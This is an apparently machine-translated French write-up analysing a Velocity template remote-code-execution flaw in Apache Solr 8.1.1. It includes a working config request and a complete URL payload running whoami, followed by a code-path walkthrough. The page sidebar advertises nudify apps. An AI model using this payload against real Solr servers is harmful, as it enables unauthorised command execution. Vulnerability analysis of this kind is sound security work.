Table des matières
Introduction
Récurrence de la vulnérabilité
Principe
Plan de réparation
Maison Opération et maintenance Sécurité Comment analyser la dernière vulnérabilité RCE dans Apache Solr

Comment analyser la dernière vulnérabilité RCE dans Apache Solr

May 25, 2023 pm 06:58 PM
rce apache solr

Introduction

Une vulnérabilité RCE 0day a été découverte dans Apache Solr (le numéro de vulnérabilité n'est pas donné Ici, nous reproduisons simplement l'objet et analysons l'ensemble du processus RCE pour votre référence).

Récurrence de la vulnérabilité

Version de reproduction : 8.1.1

Pour implémenter RCE, deux étapes sont requises. Tout d'abord, confirmez que l'application a activé un certain noyau (peut être consulté dans Core Admin) et l'application dans l'instance. a activé mycore.

怎样进行Apache Solr最新RCE漏洞分析

Envoyez d'abord les données json suivantes à son interface de configuration,

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}
Copier après la connexion

怎样进行Apache Solr最新RCE漏洞分析

Visitez ensuite l'URL suivante pour implémenter RCE,

/solr/mycore/select?wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
Copier après la connexion

Principe

Analysez d'abord le premier paquet de données, car c'est pour la configuration mycore, nous définissons donc d'abord un point d'arrêt sur la fonction handleRequestBody de SolrConfigHandler qui gère la demande de configuration

怎样进行Apache Solr最新RCE漏洞分析

Parce qu'il s'agit d'une requête POST, suivez la fonction handlePOST,

怎样进行Apache Solr最新RCE漏洞分析

Dans handlePOST, retirer mycore d'abord La configuration actuelle est introduite dans la fonction handleCommands en même temps que la configuration que nous avons envoyée, et dans les opérations suivantes, elle entre finalement dans la fonction addNamedPlugin et crée un objet VelocityResponseWriter avec solr.resource.loader.enabled et params. ressource La valeur de loader.enabled est définie sur true et le nom de l'objet est la vitesse.

怎样进行Apache Solr最新RCE漏洞分析

Ensuite, lors de l'envoi du deuxième paquet de données, lors de l'obtention du réponseWriter dans HttpSolrCall.call, l'objet réponseWriter sera obtenu en fonction de la valeur du paramètre wt. Lorsque wt est la vitesse, ce que nous obtenons est celui soigneusement configuré. . Après une série d'appels ultérieurs, le VelocityResponseWriter

怎样进行Apache Solr最新RCE漏洞分析

怎样进行Apache Solr最新RCE漏洞分析

entre enfin dans la fonction VelocityResponseWriter.write qui est la plus grave dans notre vulnérabilité. Tout d'abord, la fonction createEngine est appelée pour générer un modèle malveillant contenant custom.vrm. ->payload. engine,

怎样进行Apache Solr最新RCE漏洞分析

Le modèle malveillant est placé dans params.resource.loader.instance et solr.resource.loader.instance des propriétés de remplacement du moteur

怎样进行Apache Solr最新RCE漏洞分析

Il y a un point très important. ici, si vous souhaitez créer le modèle malveillant en entrant params.resource.loader.instance et solr.resource.loader.instance, vous devez vous assurer que paramsResourceLoaderEnabled et solrResourceLoaderEnabled sont True. C'est ce que fait notre premier paquet de données,

怎样进行Apache Solr最新RCE漏洞分析.

puis VelocityResponseWriter. getTemplate obtiendra le modèle malveillant que nous avons construit sur la base du paramètre v.template que nous avons soumis

怎样进行Apache Solr最新RCE漏洞分析

Enfin, le modèle malveillant a été supprimé et sa méthode de fusion a été appelée,

怎样进行Apache Solr最新RCE漏洞分析

Pour comprendre ce modèle, vous devez le comprendre Moteur de modèle Java Velocity (car ce modèle est un objet de classe org.apache.velocity.Template), la déclaration officielle est traduite comme suit,

Velocity是一个基于Java的模板引擎。它允许任何人使用简单但功能强大的模板语言来引用Java代码中定义的对象
Copier après la connexion

De cette déclaration, nous pouvons voir que ce modèle Le moteur a pour fonction d'exécuter du code Java.Nous avons seulement besoin de comprendre sa méthode d'écriture de base,

// 变量定义
#set($name =“velocity”)
// 变量赋值
#set($foo = $bar)
// 函数调用
#set($foo =“hello”) #set(foo.name=bar.name) #set(foo.name=bar.getName($arg)) 
// 循环语法
#foreach($element in $list)
 This is $element
 $velocityCount
#end
// 执行模板
template.merge(context, writer);
Copier après la connexion

Avec l'introduction de la syntaxe de base ci-dessus, nous pouvons comprendre la méthode de construction de la charge utile. Si vous souhaitez une compréhension plus approfondie, vous pouvez vérifier Velocity. Informations Java par vous-même, nous sommes ici. Pas plus de profondeur.

Ainsi, grâce à la méthode de fusion du modèle malveillant appelé en dernier, le RCE a été provoqué avec succès et la chaîne d'appel de clé a finalement été ajoutée.

怎样进行Apache Solr最新RCE漏洞分析

Plan de réparation

À l'heure actuelle, le patch officiel n'a pas été fourni. Il est recommandé de restreindre l'accès à Solr.

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn

Outils d'IA chauds

Undresser.AI Undress

Undresser.AI Undress

Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover

AI Clothes Remover

Outil d'IA en ligne pour supprimer les vêtements des photos.

Undress AI Tool

Undress AI Tool

Images de déshabillage gratuites

Clothoff.io

Clothoff.io

Dissolvant de vêtements AI

AI Hentai Generator

AI Hentai Generator

Générez AI Hentai gratuitement.

Article chaud

R.E.P.O. Crystals d'énergie expliqués et ce qu'ils font (cristal jaune)
3 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Meilleurs paramètres graphiques
3 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Comment réparer l'audio si vous n'entendez personne
3 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
WWE 2K25: Comment déverrouiller tout dans Myrise
4 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌

Outils chauds

Bloc-notes++7.3.1

Bloc-notes++7.3.1

Éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise

SublimeText3 version chinoise

Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1

Envoyer Studio 13.0.1

Puissant environnement de développement intégré PHP

Dreamweaver CS6

Dreamweaver CS6

Outils de développement Web visuel

SublimeText3 version Mac

SublimeText3 version Mac

Logiciel d'édition de code au niveau de Dieu (SublimeText3)